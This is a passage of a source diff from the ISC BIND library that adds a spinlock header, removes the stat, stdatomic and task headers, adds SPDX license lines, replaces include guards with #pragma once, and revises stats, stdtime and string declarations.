+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file */
+
+#include <pthread.h>
+#include <stdlib.h>
+
+#include <isc/atomic.h>
+#include <isc/lang.h>
+#include <isc/util.h>
+
+ISC_LANG_BEGINDECLS
+
+/*
+ * We use macros instead of static inline functions so that the exact code
+ * location can be reported when PTHREADS_RUNTIME_CHECK() fails or when mutrace
+ * reports lock contention.
+ */
+
+#ifdef ISC_TRACK_PTHREADS_OBJECTS
+
+#define isc_spinlock_init(sp)               \
+	{                                   \
+		*sp = malloc(sizeof(**sp)); \
+		isc__spinlock_init(*sp);    \
+	}
+#define isc_spinlock_lock(sp)	isc__spinlock_lock(*sp)
+#define isc_spinlock_unlock(sp) isc__spinlock_unlock(*sp)
+#define isc_spinlock_destroy(sp)            \
+	{                                   \
+		isc__spinlock_destroy(*sp); \
+		free((void *)*sp);          \
+	}
+
+#else /* ISC_TRACK_PTHREADS_OBJECTS */
+
+#define isc_spinlock_init(sp)	 isc__spinlock_init(sp)
+#define isc_spinlock_lock(sp)	 isc__spinlock_lock(sp)
+#define isc_spinlock_unlock(sp)	 isc__spinlock_unlock(sp)
+#define isc_spinlock_destroy(sp) isc__spinlock_destroy(sp)
+
+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
+
+#if HAVE_PTHREAD_SPIN_INIT
+
+#if ISC_TRACK_PTHREADS_OBJECTS
+typedef pthread_spinlock_t *isc_spinlock_t;
+#else  /* ISC_TRACK_PTHREADS_OBJECTS */
+typedef pthread_spinlock_t isc_spinlock_t;
+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
+
+#define isc__spinlock_init(sp)                                             \
+	{                                                                  \
+		int _ret = pthread_spin_init(sp, PTHREAD_PROCESS_PRIVATE); \
+		PTHREADS_RUNTIME_CHECK(pthread_spin_init, _ret);           \
+	}
+
+#define isc__spinlock_lock(sp)                                   \
+	{                                                        \
+		int _ret = pthread_spin_lock(sp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_spin_lock, _ret); \
+	}
+
+#define isc__spinlock_unlock(sp)                                   \
+	{                                                          \
+		int _ret = pthread_spin_unlock(sp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_spin_unlock, _ret); \
+	}
+
+#define isc__spinlock_destroy(sp)                                   \
+	{                                                           \
+		int _ret = pthread_spin_destroy(sp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_spin_destroy, _ret); \
+	}
+
+#else /* HAVE_PTHREAD_SPIN_INIT */
+
+#if ISC_TRACK_PTHREADS_OBJECTS
+typedef atomic_uint_fast32_t *isc_spinlock_t;
+#else  /* ISC_TRACK_PTHREADS_OBJECTS */
+typedef atomic_uint_fast32_t isc_spinlock_t;
+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
+
+#define isc__spinlock_init(sp)      \
+	{                           \
+		atomic_init(sp, 0); \
+	}
+
+#define isc__spinlock_lock(sp)                                  \
+	{                                                       \
+		while (!atomic_compare_exchange_weak_acq_rel(   \
+			sp, &(uint_fast32_t){ 0 }, 1))          \
+		{                                               \
+			do {                                    \
+				isc_pause();                    \
+			} while (atomic_load_relaxed(sp) != 0); \
+		}                                               \
+	}
+
+#define isc__spinlock_unlock(sp)             \
+	{                                    \
+		atomic_store_release(sp, 0); \
+	}
+
+#define isc__spinlock_destroy(sp)             \
+	{                                     \
+		INSIST(atomic_load(sp) == 0); \
+	}
+
+#endif
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/stat.h b/lib/isc/include/isc/stat.h
deleted file mode 100644
index dca044267d..0000000000
--- a/lib/isc/include/isc/stat.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_STAT_H
-#define ISC_STAT_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*
- * Portable <sys/stat.h> support.
- *
- * This module is responsible for defining S_IS??? macros.
- *
- * MP:
- *	No impact.
- *
- * Reliability:
- *	No anticipated impact.
- *
- * Resources:
- *	N/A.
- *
- * Security:
- *	No anticipated impact.
- *
- */
-
-/***
- *** Imports.
- ***/
-
-#include <sys/stat.h>
-#include <sys/types.h>
-
-#endif /* ISC_STAT_H */
diff --git a/lib/isc/include/isc/stats.h b/lib/isc/include/isc/stats.h
index c2ab4e6c03..37d65e5f92 100644
--- a/lib/isc/include/isc/stats.h
+++ b/lib/isc/include/isc/stats.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_STATS_H
-#define ISC_STATS_H 1
+#pragma once
 
 /*! \file isc/stats.h */
 
@@ -114,7 +115,7 @@ ISC_LANG_BEGINDECLS
  */
 typedef void (*isc_stats_dumper_t)(isc_statscounter_t, uint64_t, void *);
 
-isc_result_t
+void
 isc_stats_create(isc_mem_t *mctx, isc_stats_t **statsp, int ncounters);
 /*%<
  * Create a statistics counter structure of general type.  It counts a general
@@ -124,11 +125,6 @@ isc_stats_create(isc_mem_t *mctx, isc_stats_t **statsp, int ncounters);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
 void
@@ -238,6 +234,15 @@ isc_stats_get_counter(isc_stats_t *stats, isc_statscounter_t counter);
  *	on creation.
  */
 
-ISC_LANG_ENDDECLS
+void
+isc_stats_resize(isc_stats_t **stats, int ncounters);
+/*%<
+ * Resize a statistics counter structure of general type. The new set of
+ * counters are indexed by an ID between 0 and ncounters -1.
+ *
+ * Requires:
+ *\li	'stats' is a valid isc_stats_t.
+ *\li	'ncounters' is a non-zero positive number.
+ */
 
-#endif /* ISC_STATS_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/stdatomic.h b/lib/isc/include/isc/stdatomic.h
deleted file mode 100644
index f6a87fb2ae..0000000000
--- a/lib/isc/include/isc/stdatomic.h
+++ /dev/null
@@ -1,224 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <inttypes.h>
-#include <stdbool.h>
-#include <stddef.h>
-#if HAVE_UCHAR_H
-#include <uchar.h>
-#endif /* HAVE_UCHAR_H */
-
-#if !defined(__has_feature)
-#define __has_feature(x) 0
-#endif /* if !defined(__has_feature) */
-
-#if !defined(__has_extension)
-#define __has_extension(x) __has_feature(x)
-#endif /* if !defined(__has_extension) */
-
-#if !defined(__GNUC_PREREQ__)
-#if defined(__GNUC__) && defined(__GNUC_MINOR__)
-#define __GNUC_PREREQ__(maj, min) \
-	((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min))
-#else /* if defined(__GNUC__) && defined(__GNUC_MINOR__) */
-#define __GNUC_PREREQ__(maj, min) 0
-#endif /* if defined(__GNUC__) && defined(__GNUC_MINOR__) */
-#endif /* if !defined(__GNUC_PREREQ__) */
-
-#if !defined(__CLANG_ATOMICS) && !defined(__GNUC_ATOMICS)
-#if __has_extension(c_atomic) || __has_extension(cxx_atomic)
-#define __CLANG_ATOMICS
-#elif __GNUC_PREREQ__(4, 7)
-#define __GNUC_ATOMICS
-#elif !defined(__GNUC__)
-#error "isc/stdatomic.h does not support your compiler"
-#endif /* if __has_extension(c_atomic) || __has_extension(cxx_atomic) */
-#endif /* if !defined(__CLANG_ATOMICS) && !defined(__GNUC_ATOMICS) */
-
-#define ATOMIC_VAR_INIT(x) x
-
-#ifndef __ATOMIC_RELAXED
-#define __ATOMIC_RELAXED 0
-#endif /* ifndef __ATOMIC_RELAXED */
-#ifndef __ATOMIC_CONSUME
-#define __ATOMIC_CONSUME 1
-#endif /* ifndef __ATOMIC_CONSUME */
-#ifndef __ATOMIC_ACQUIRE
-#define __ATOMIC_ACQUIRE 2
-#endif /* ifndef __ATOMIC_ACQUIRE */
-#ifndef __ATOMIC_RELEASE
-#define __ATOMIC_RELEASE 3
-#endif /* ifndef __ATOMIC_RELEASE */
-#ifndef __ATOMIC_ACQ_REL
-#define __ATOMIC_ACQ_REL 4
-#endif /* ifndef __ATOMIC_ACQ_REL */
-#ifndef __ATOMIC_SEQ_CST
-#define __ATOMIC_SEQ_CST 5
-#endif /* ifndef __ATOMIC_SEQ_CST */
-
-enum memory_order {
-	memory_order_relaxed = __ATOMIC_RELAXED,
-	memory_order_consume = __ATOMIC_CONSUME,
-	memory_order_acquire = __ATOMIC_ACQUIRE,
-	memory_order_release = __ATOMIC_RELEASE,
-	memory_order_acq_rel = __ATOMIC_ACQ_REL,
-	memory_order_seq_cst = __ATOMIC_SEQ_CST
-};
-
-typedef enum memory_order memory_order;
-
-#ifndef HAVE_UCHAR_H
-typedef uint_least16_t char16_t;
-typedef uint_least32_t char32_t;
-#endif /* HAVE_UCHAR_H */
-
-typedef bool		   atomic_bool;
-typedef char		   atomic_char;
-typedef signed char	   atomic_schar;
-typedef unsigned char	   atomic_uchar;
-typedef short		   atomic_short;
-typedef unsigned short	   atomic_ushort;
-typedef int		   atomic_int;
-typedef unsigned int	   atomic_uint;
-typedef long		   atomic_long;
-typedef unsigned long	   atomic_ulong;
-typedef long long	   atomic_llong;
-typedef unsigned long long atomic_ullong;
-typedef char16_t	   atomic_char16_t;
-typedef char32_t	   atomic_char32_t;
-typedef wchar_t		   atomic_wchar_t;
-typedef int_least8_t	   atomic_int_least8_t;
-typedef uint_least8_t	   atomic_uint_least8_t;
-typedef int_least16_t	   atomic_int_least16_t;
-typedef uint_least16_t	   atomic_uint_least16_t;
-typedef int_least32_t	   atomic_int_least32_t;
-typedef uint_least32_t	   atomic_uint_least32_t;
-typedef int_least64_t	   atomic_int_least64_t;
-typedef uint_least64_t	   atomic_uint_least64_t;
-typedef int_fast8_t	   atomic_int_fast8_t;
-typedef uint_fast8_t	   atomic_uint_fast8_t;
-typedef int_fast16_t	   atomic_int_fast16_t;
-typedef uint_fast16_t	   atomic_uint_fast16_t;
-typedef int_fast32_t	   atomic_int_fast32_t;
-typedef uint_fast32_t	   atomic_uint_fast32_t;
-typedef int_fast64_t	   atomic_int_fast64_t;
-typedef uint_fast64_t	   atomic_uint_fast64_t;
-typedef intptr_t	   atomic_intptr_t;
-typedef uintptr_t	   atomic_uintptr_t;
-typedef size_t		   atomic_size_t;
-typedef ptrdiff_t	   atomic_ptrdiff_t;
-typedef intmax_t	   atomic_intmax_t;
-typedef uintmax_t	   atomic_uintmax_t;
-
-#if defined(__CLANG_ATOMICS) /* __c11_atomic builtins */
-#define atomic_init(obj, desired)	 __c11_atomic_init(obj, desired)
-#define atomic_load_explicit(obj, order) __c11_atomic_load(obj, order)
-#define atomic_store_explicit(obj, desired, order) \
-	__c11_atomic_store(obj, desired, order)
-#define atomic_fetch_add_explicit(obj, arg, order) \
-	__c11_atomic_fetch_add(obj, arg, order)
-#define atomic_fetch_sub_explicit(obj, arg, order) \
-	__c11_atomic_fetch_sub(obj, arg, order)
-#define atomic_fetch_and_explicit(obj, arg, order) \
-	__c11_atomic_fetch_and(obj, arg, order)
-#define atomic_fetch_or_explicit(obj, arg, order) \
-	__c11_atomic_fetch_or(obj, arg, order)
-#define atomic_compare_exchange_strong_explicit(obj, expected, desired, succ, \
-						fail)                         \
-	__c11_atomic_compare_exchange_strong_explicit(obj, expected, desired, \
-						      succ, fail)
-#define atomic_compare_exchange_weak_explicit(obj, expected, desired, succ, \
-					      fail)                         \
-	__c11_atomic_compare_exchange_weak_explicit(obj, expected, desired, \
-						    succ, fail)
-#define atomic_exchange_explicit(obj, desired, order) \
-	__c11_atomic_exchange_explicit(obj, expected, order)
-#elif defined(__GNUC_ATOMICS) /* __atomic builtins */
-#define atomic_init(obj, desired)	 (*obj = desired)
-#define atomic_load_explicit(obj, order) __atomic_load_n(obj, order)
-#define atomic_store_explicit(obj, desired, order) \
-	__atomic_store_n(obj, desired, order)
-#define atomic_fetch_add_explicit(obj, arg, order) \
-	__atomic_fetch_add(obj, arg, order)
-#define atomic_fetch_sub_explicit(obj, arg, order) \
-	__atomic_fetch_sub(obj, arg, order)
-#define atomic_fetch_and_explicit(obj, arg, order) \
-	__atomic_fetch_and(obj, arg, order)
-#define atomic_fetch_or_explicit(obj, arg, order) \
-	__atomic_fetch_or(obj, arg, order)
-#define atomic_compare_exchange_strong_explicit(obj, expected, desired, succ, \
-						fail)                         \
-	__atomic_compare_exchange_n(obj, expected, desired, 0, succ, fail)
-#define atomic_compare_exchange_weak_explicit(obj, expected, desired, succ, \
-					      fail)                         \
-	__atomic_compare_exchange_n(obj, expected, desired, 1, succ, fail)
-#define atomic_exchange_explicit(obj, desired, order) \
-	__atomic_exchange_n(obj, desired, order)
-#else /* __sync builtins */
-#define atomic_init(obj, desired)	 (*obj = desired)
-#define atomic_load_explicit(obj, order) __sync_fetch_and_add(obj, 0)
-#define atomic_store_explicit(obj, desired, order) \
-	do {                                       \
-		__sync_synchronize();              \
-		*obj = desired;                    \
-		__sync_synchronize();              \
-	} while (0);
-#define atomic_fetch_add_explicit(obj, arg, order) \
-	__sync_fetch_and_add(obj, arg)
-#define atomic_fetch_sub_explicit(obj, arg, order) \
-	__sync_fetch_and_sub(obj, arg, order)
-#define atomic_fetch_and_explicit(obj, arg, order) \
-	__sync_fetch_and_and(obj, arg, order)
-#define atomic_fetch_or_explicit(obj, arg, order) \
-	__sync_fetch_and_or(obj, arg, order)
-#define atomic_compare_exchange_strong_explicit(obj, expected, desired, succ, \
-						fail)                         \
-	({                                                                    \
-		__typeof__(obj) __v;                                          \
-		_Bool __r;                                                    \
-		__v = (__typeof__(obj))__sync_val_compare_and_swap(           \
-			obj, *(expected), desired);                           \
-		__r = ((__typeof__(obj)) * (expected) == __v);                \
-		*(expected) = __v;                                            \
-		__r;                                                          \
-	})
-#define atomic_compare_exchange_weak_explicit(obj, expected, desired, succ,   \
-					      fail)                           \
-	atomic_compare_exchange_strong_explicit(obj, expected, desired, succ, \
-						fail)
-#define atomic_exchange_explicit(obj, desired, order) \
-	__sync_lock_test_and_set(obj, desired)
-
-#endif /* if defined(__CLANG_ATOMICS) */
-
-#define atomic_load(obj) atomic_load_explicit(obj, memory_order_seq_cst)
-#define atomic_store(obj, arg) \
-	atomic_store_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_add(obj, arg) \
-	atomic_fetch_add_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_sub(obj, arg) \
-	atomic_fetch_sub_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_and(obj, arg) \
-	atomic_fetch_and_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_fetch_or(obj, arg) \
-	atomic_fetch_or_explicit(obj, arg, memory_order_seq_cst)
-#define atomic_compare_exchange_strong(obj, expected, desired)          \
-	atomic_compare_exchange_strong_explicit(obj, expected, desired, \
-						memory_order_seq_cst,   \
-						memory_order_seq_cst)
-#define atomic_compare_exchange_weak(obj, expected, desired)          \
-	atomic_compare_exchange_weak_explicit(obj, expected, desired, \
-					      memory_order_seq_cst,   \
-					      memory_order_seq_cst)
-#define atomic_exchange(obj, desired) \
-	atomic_exchange_explicit(obj, desired, memory_order_seq_cst)
diff --git a/lib/isc/include/isc/stdio.h b/lib/isc/include/isc/stdio.h
index 0f0daba2c9..c8bac4d251 100644
--- a/lib/isc/include/isc/stdio.h
+++ b/lib/isc/include/isc/stdio.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_STDIO_H
-#define ISC_STDIO_H 1
+#pragma once
 
 /*! \file isc/stdio.h */
 
@@ -68,5 +69,3 @@ isc_stdio_sync(FILE *f);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_STDIO_H */
diff --git a/lib/isc/include/isc/stdtime.h b/lib/isc/include/isc/stdtime.h
index 52557b9487..59cd058b5c 100644
--- a/lib/isc/include/isc/stdtime.h
+++ b/lib/isc/include/isc/stdtime.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_STDTIME_H
-#define ISC_STDTIME_H 1
+#pragma once
 
 /*! \file */
 
@@ -18,6 +19,7 @@
 #include <stdlib.h>
 
 #include <isc/lang.h>
+#include <isc/time.h>
 
 /*%
  * It's public information that 'isc_stdtime_t' is an unsigned integral type.
@@ -27,15 +29,11 @@
 typedef uint32_t isc_stdtime_t;
 
 ISC_LANG_BEGINDECLS
-/* */
-void
-isc_stdtime_get(isc_stdtime_t *t);
+
+isc_stdtime_t
+isc_stdtime_now(void);
 /*%<
- * Set 't' to the number of seconds since 00:00:00 UTC, January 1, 1970.
- *
- * Requires:
- *
- *\li	't' is a valid pointer.
+ * Return the number of seconds since 00:00:00 UTC, January 1, 1970.
  */
 
 void
@@ -52,11 +50,4 @@ isc_stdtime_tostring(isc_stdtime_t t, char *out, size_t outlen);
  *	'outlen' is at least 26.
  */
 
-#define isc_stdtime_convert32(t, t32p) (*(t32p) = t)
-/*
- * Convert the standard time to its 32-bit version.
- */
-
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_STDTIME_H */
diff --git a/lib/isc/include/isc/strerr.h b/lib/isc/include/isc/strerr.h
index eebba51014..61f1c526a6 100644
--- a/lib/isc/include/isc/strerr.h
+++ b/lib/isc/include/isc/strerr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,7 +17,17 @@
 
 #include <isc/string.h>
 
+/***
+ *** Default strerror_r buffer size
+ ***/
+
+#define ISC_STRERRORSIZE 128
+
 #if defined(strerror_r)
 #undef strerror_r
 #endif /* if defined(strerror_r) */
+
+/*
+ * Ensure we use a consistent implementation of strerror_r()
+ */
 #define strerror_r isc_string_strerror_r
diff --git a/lib/isc/include/isc/string.h b/lib/isc/include/isc/string.h
index 2c187ff38a..fbf6129cbe 100644
--- a/lib/isc/include/isc/string.h
+++ b/lib/isc/include/isc/string.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,8 +17,7 @@
 
 #include <string.h>
 
-#include "isc/lang.h"
-#include "isc/platform.h"
+#include <isc/lang.h>
 
 ISC_LANG_BEGINDECLS
 
@@ -30,6 +31,11 @@ size_t
 strlcat(char *dst, const char *src, size_t size);
 #endif /* if !defined(HAVE_STRLCAT) */
 
+#if !defined(HAVE_STRNSTR)
+char *
+strnstr(const char *s, const char *find, size_t slen);
+#endif /* if !defined(HAVE_STRNSTR) */
+
 int
 isc_string_strerror_r(int errnum, char *buf, size_t buflen);
 
diff --git a/lib/isc/include/isc/symtab.h b/lib/isc/include/isc/symtab.h
index ed85d79872..2be3a8b5b1 100644
--- a/lib/isc/include/isc/symtab.h
+++ b/lib/isc/include/isc/symtab.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_SYMTAB_H
-#define ISC_SYMTAB_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -87,8 +88,8 @@
  ***/
 /*% Symbol table value. */
 typedef union isc_symvalue {
-	void *	     as_pointer;
-	const void * as_cpointer;
+	void	    *as_pointer;
+	const void  *as_cpointer;
 	int	     as_integer;
 	unsigned int as_uinteger;
 } isc_symvalue_t;
@@ -132,5 +133,3 @@ isc_symtab_undefine(isc_symtab_t *symtab, const char *key, unsigned int type);
 unsigned int
 isc_symtab_count(isc_symtab_t *symtab);
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_SYMTAB_H */
diff --git a/lib/isc/include/isc/syslog.h b/lib/isc/include/isc/syslog.h
index f2add8b0cc..021f7fa596 100644
--- a/lib/isc/include/isc/syslog.h
+++ b/lib/isc/include/isc/syslog.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_SYSLOG_H
-#define ISC_SYSLOG_H 1
+#pragma once
 
 /*! \file */
 
@@ -35,5 +36,3 @@ isc_syslog_facilityfromstring(const char *str, int *facilityp);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_SYSLOG_H */
diff --git a/lib/isc/include/isc/task.h b/lib/isc/include/isc/task.h
deleted file mode 100644
index fc33330267..0000000000
--- a/lib/isc/include/isc/task.h
+++ /dev/null
@@ -1,675 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-/*****
- ***** Module Info
- *****/
-
-/*! \file isc/task.h
- * \brief The task system provides a lightweight execution context, which is
- * basically an event queue.
- *
- * When a task's event queue is non-empty, the
- * task is runnable.  A small work crew of threads, typically one per CPU,
- * execute runnable tasks by dispatching the events on the tasks' event
- * queues.  Context switching between tasks is fast.
- *
- * \li MP:
- *	The module ensures appropriate synchronization of data structures it
- *	creates and manipulates.
- *	The caller must ensure that isc_taskmgr_destroy() is called only
- *	once for a given manager.
- *
- * \li Reliability:
- *	No anticipated impact.
- *
- * \li Resources:
- *	TBS
- *
- * \li Security:
- *	No anticipated impact.
- *
- * \li Standards:
- *	None.
- *
- * \section purge Purging and Unsending
- *
- * Events which have been queued for a task but not delivered may be removed
- * from the task's event queue by purging or unsending.
- *
- * With both types, the caller specifies a matching pattern that selects
- * events based upon their sender, type, and tag.
- *
- * Purging calls isc_event_free() on the matching events.
- *
- * Unsending returns a list of events that matched the pattern.
- * The caller is then responsible for them.
- *
- * Consumers of events should purge, not unsend.
- *
- * Producers of events often want to remove events when the caller indicates
- * it is no longer interested in the object, e.g. by canceling a timer.
- * Sometimes this can be done by purging, but for some event types, the
- * calls to isc_event_free() cause deadlock because the event free routine
- * wants to acquire a lock the caller is already holding.  Unsending instead
- * of purging solves this problem.  As a general rule, producers should only
- * unsend events which they have sent.
- */
-
-/***
- *** Imports.
- ***/
-
-#include <stdbool.h>
-
-#include <isc/eventclass.h>
-#include <isc/lang.h>
-#include <isc/netmgr.h>
-#include <isc/stdtime.h>
-#include <isc/types.h>
-
-#define ISC_TASKEVENT_FIRSTEVENT (ISC_EVENTCLASS_TASK + 0)
-#define ISC_TASKEVENT_SHUTDOWN	 (ISC_EVENTCLASS_TASK + 1)
-#define ISC_TASKEVENT_TEST	 (ISC_EVENTCLASS_TASK + 1)
-#define ISC_TASKEVENT_LASTEVENT	 (ISC_EVENTCLASS_TASK + 65535)
-
-/*****
- ***** Tasks.
- *****/
-
-ISC_LANG_BEGINDECLS
-
-/***
- *** Types
- ***/
-
-typedef enum {
-	isc_taskmgrmode_normal = 0,
-	isc_taskmgrmode_privileged
-} isc_taskmgrmode_t;
-
-isc_result_t
-isc_task_create(isc_taskmgr_t *manager, unsigned int quantum,
-		isc_task_t **taskp);
-isc_result_t
-isc_task_create_bound(isc_taskmgr_t *manager, unsigned int quantum,
-		      isc_task_t **taskp, int threadid);
-/*%<
- * Create a task, optionally bound to a particular threadid.
- *
- * Notes:
- *
- *\li	If 'quantum' is non-zero, then only that many events can be dispatched
- *	before the task must yield to other tasks waiting to execute.  If
- *	quantum is zero, then the default quantum of the task manager will
- *	be used.
- *
- *\li	The 'quantum' option may be removed from isc_task_create() in the
- *	future.  If this happens, isc_task_getquantum() and
- *	isc_task_setquantum() will be provided.
- *
- * Requires:
- *
- *\li	'manager' is a valid task manager.
- *
- *\li	taskp != NULL && *taskp == NULL
- *
- * Ensures:
- *
- *\li	On success, '*taskp' is bound to the new task.
- *
- * Returns:
- *
- *\li   #ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
- *\li	#ISC_R_SHUTTINGDOWN
- */
-
-void
-isc_task_ready(isc_task_t *task);
-/*%<
- * Enqueue the task onto netmgr queue.
- */
-
-isc_result_t
-isc_task_run(isc_task_t *task);
-/*%<
- * Run all the queued events for the 'task', returning
- * when the queue is empty or the number of events executed
- * exceeds the 'quantum' specified when the task was created.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_QUOTA
- */
-
-void
-isc_task_attach(isc_task_t *source, isc_task_t **targetp);
-/*%<
- * Attach *targetp to source.
- *
- * Requires:
- *
- *\li	'source' is a valid task.
- *
- *\li	'targetp' points to a NULL isc_task_t *.
- *
- * Ensures:
- *
- *\li	*targetp is attached to source.
- */
-
-void
-isc_task_detach(isc_task_t **taskp);
-/*%<
- * Detach *taskp from its task.
- *
- * Requires:
- *
- *\li	'*taskp' is a valid task.
- *
- * Ensures:
- *
- *\li	*taskp is NULL.
- *
- *\li	If '*taskp' is the last reference to the task, the task is idle (has
- *	an empty event queue), and has not been shutdown, the task will be
- *	shutdown.
- *
- *\li	If '*taskp' is the last reference to the task and
- *	the task has been shutdown,
- *		all resources used by the task will be freed.
- */
-
-void
-isc_task_send(isc_task_t *task, isc_event_t **eventp);
-
-void
-isc_task_sendto(isc_task_t *task, isc_event_t **eventp, int c);
-/*%<
- * Send '*event' to 'task', if task is idle try starting it on cpu 'c'
- * If 'c' is smaller than 0 then cpu is selected randomly.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *\li	eventp != NULL && *eventp != NULL.
- *
- * Ensures:
- *
- *\li	*eventp == NULL.
- */
-
-void
-isc_task_sendtoanddetach(isc_task_t **taskp, isc_event_t **eventp, int c);
-
-void
-isc_task_sendanddetach(isc_task_t **taskp, isc_event_t **eventp);
-/*%<
- * Send '*event' to '*taskp' and then detach '*taskp' from its
- * task. If task is idle try starting it on cpu 'c'
- * If 'c' is smaller than 0 then cpu is selected randomly.
- *
- * Requires:
- *
- *\li	'*taskp' is a valid task.
- *\li	eventp != NULL && *eventp != NULL.
- *
- * Ensures:
- *
- *\li	*eventp == NULL.
- *
- *\li	*taskp == NULL.
- *
- *\li	If '*taskp' is the last reference to the task, the task is
- *	idle (has an empty event queue), and has not been shutdown,
- *	the task will be shutdown.
- *
- *\li	If '*taskp' is the last reference to the task and
- *	the task has been shutdown,
- *		all resources used by the task will be freed.
- */
-
-unsigned int
-isc_task_purgerange(isc_task_t *task, void *sender, isc_eventtype_t first,
-		    isc_eventtype_t last, void *tag);
-/*%<
- * Purge events from a task's event queue.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- *\li	last >= first
- *
- * Ensures:
- *
- *\li	Events in the event queue of 'task' whose sender is 'sender', whose
- *	type is >= first and <= last, and whose tag is 'tag' will be purged,
- *	unless they are marked as unpurgable.
- *
- *\li	A sender of NULL will match any sender.  A NULL tag matches any
- *	tag.
- *
- * Returns:
- *
- *\li	The number of events purged.
- */
-
-unsigned int
-isc_task_purge(isc_task_t *task, void *sender, isc_eventtype_t type, void *tag);
-/*%<
- * Purge events from a task's event queue.
- *
- * Notes:
- *
